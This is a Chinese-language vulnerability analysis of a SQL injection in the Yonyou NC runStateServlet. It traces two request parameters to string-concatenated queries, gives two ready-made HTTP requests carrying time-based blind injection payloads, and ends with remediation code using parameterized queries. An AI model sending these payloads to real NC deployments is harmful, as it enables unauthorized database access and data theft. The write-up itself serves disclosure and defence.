用友NC runStateServlet注入漏洞分析
字数 993 2025-08-19 12:42:18

用友NC runStateServlet SQL注入漏洞分析与复现

漏洞概述

用友NC系统的runStateServlet组件存在SQL注入漏洞,攻击者可通过构造恶意请求利用该漏洞获取数据库敏感信息。漏洞存在于nc.uap.wfm.action.RunStateServlet类中,由于未对用户输入的proInsPkproDefPk参数进行有效过滤,导致SQL注入风险。

漏洞分析

漏洞代码路径

C:\yonyou\home\modules\webimp\lib\pubwebimp_cpwfmLevel-1\nc\uap\wfm\action\RunStateServlet.java

关键代码分析

  1. Servlet入口点
@Servlet(path="/servlet/runStateServlet")
public class RunStateServlet extends WfBaseServlet {
    @Action(method="POST")
    public void doPost() {
        // 获取用户输入参数
        String proInsPk = this.request.getParameter("proInsPk");
        String prodefPk = this.request.getParameter("proDefPk");
        
        if (StringUtils.isNotBlank(proInsPk) && !"null".equals(proInsPk) || 
            StringUtils.isNotBlank(prodefPk) && !"null".equals(prodefPk)) {
            // 将参数传入getRenderProcessXml方法
            XMLUtil.printDOMTree(out, FlowImgRender.getRenderProcessXml(proInsPk, prodefPk), 0, "UTF-8");
        }
    }
}
  1. 参数传递链
  • proInsPk参数传递路径:

    RunStateServlet.doPost() → 
    FlowImgRender.getRenderProcessXml() → 
    WfmProinsUtil.getProInsByProInsPk() → 
    WfmEngineUIAdapterFactory.getInstance().getProInsByProinsPk() → 
    WfmCpEngineUIAdapter.getProInsByProinsPk() → 
    WfmServiceFacility.getProInsQry().getProInsByPk() → 
    WfmProInsQry.getProInsVOByPk()
    
  • proDefPk参数传递路径:

    RunStateServlet.doPost() → 
    FlowImgRender.getRenderProcessXml() → 
    WfmProDefUtil.getProDefByProDefPk() → 
    WfmEngineUIAdapterFactory.getInstance().getProDefByProDefPk() → 
    WfmCpEngineUIAdapter.getProDefByProDefPk() → 
    ProDefsContainer.getByProDefPkAndId() → 
    WfmProDefQry.getProDefVOByProDefPk()
    
  1. SQL注入点
  • proInsPk参数注入点
    最终在WfmProInsQry.getProInsVOByPk()方法中,proInsPk参数被直接拼接到SQL查询中。

  • proDefPk参数注入点
    WfmProDefQry.getProDefVOByProDefPk()方法中直接拼接SQL:

public WfmProdefVO getProDefVOByProDefPk(String proDefPk) throws WfmServiceException {
    PtBaseDAO dao = new PtBaseDAO();
    SuperVO[] superVos = null;
    try {
        // 直接拼接用户输入到SQL语句中
        superVos = dao.queryByCondition(WfmProdefVO.class, "pk_prodef='" + proDefPk + "'");
    } catch (DAOException e) {
        // 错误处理
    }
    // 返回结果处理
}

漏洞复现

复现环境

  • 用友NC系统(受影响版本)
  • 攻击机:任意可发送HTTP请求的工具(如Burp Suite、Postman、curl等)

复现步骤

  1. proInsPk参数注入
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proInsPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1
Host: target.com:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Content-Length: 19
  1. proDefPk参数注入
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1
Host: target.com:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Content-Length: 19
  1. 观察响应
  • 如果存在漏洞,服务器会延迟6秒响应
  • 可通过时间盲注技术逐步获取数据库信息

漏洞修复建议

  1. 参数过滤
    对所有用户输入的参数进行严格的过滤和验证,特别是用于数据库查询的参数。

  2. 使用预编译语句
    修改WfmProDefQry.getProDefVOByProDefPk()等方法,使用参数化查询:

// 修改后的安全代码示例
public WfmProdefVO getProDefVOByProDefPk(String proDefPk) throws WfmServiceException {
    PtBaseDAO dao = new PtBaseDAO();
    SuperVO[] superVos = null;
    try {
        // 使用参数化查询
        String sql = "pk_prodef=?";
        superVos = dao.queryByConditionWithParam(WfmProdefVO.class, sql, new Object[]{proDefPk});
    } catch (DAOException e) {
        // 错误处理
    }
    // 返回结果处理
}
  1. 输入验证
    在Servlet入口处添加输入验证:
if (!isValidId(proInsPk) || !isValidId(prodefPk)) {
    throw new IllegalArgumentException("Invalid parameter");
}
  1. 最小权限原则
    数据库连接使用最小必要权限账户,限制攻击者可获取的信息范围。

总结

该漏洞是由于用友NC系统在处理runStateServlet请求时,未对用户输入的proInsPkproDefPk参数进行有效过滤,导致SQL注入漏洞。攻击者可利用此漏洞获取数据库敏感信息,甚至可能进一步控制服务器。建议用户及时更新补丁或按照修复建议进行代码修改。

用友NC runStateServlet SQL注入漏洞分析与复现 漏洞概述 用友NC系统的 runStateServlet 组件存在SQL注入漏洞,攻击者可通过构造恶意请求利用该漏洞获取数据库敏感信息。漏洞存在于 nc.uap.wfm.action.RunStateServlet 类中,由于未对用户输入的 proInsPk 和 proDefPk 参数进行有效过滤,导致SQL注入风险。 漏洞分析 漏洞代码路径 C:\yonyou\home\modules\webimp\lib\pubwebimp_cpwfmLevel-1\nc\uap\wfm\action\RunStateServlet.java 关键代码分析 Servlet入口点 : 参数传递链 : proInsPk 参数传递路径: proDefPk 参数传递路径: SQL注入点 : proInsPk参数注入点 : 最终在 WfmProInsQry.getProInsVOByPk() 方法中, proInsPk 参数被直接拼接到SQL查询中。 proDefPk参数注入点 : 在 WfmProDefQry.getProDefVOByProDefPk() 方法中直接拼接SQL: 漏洞复现 复现环境 用友NC系统(受影响版本) 攻击机:任意可发送HTTP请求的工具(如Burp Suite、Postman、curl等) 复现步骤 proInsPk参数注入 : proDefPk参数注入 : 观察响应 : 如果存在漏洞,服务器会延迟6秒响应 可通过时间盲注技术逐步获取数据库信息 漏洞修复建议 参数过滤 : 对所有用户输入的参数进行严格的过滤和验证,特别是用于数据库查询的参数。 使用预编译语句 : 修改 WfmProDefQry.getProDefVOByProDefPk() 等方法,使用参数化查询: 输入验证 : 在Servlet入口处添加输入验证: 最小权限原则 : 数据库连接使用最小必要权限账户,限制攻击者可获取的信息范围。 总结 该漏洞是由于用友NC系统在处理 runStateServlet 请求时,未对用户输入的 proInsPk 和 proDefPk 参数进行有效过滤,导致SQL注入漏洞。攻击者可利用此漏洞获取数据库敏感信息,甚至可能进一步控制服务器。建议用户及时更新补丁或按照修复建议进行代码修改。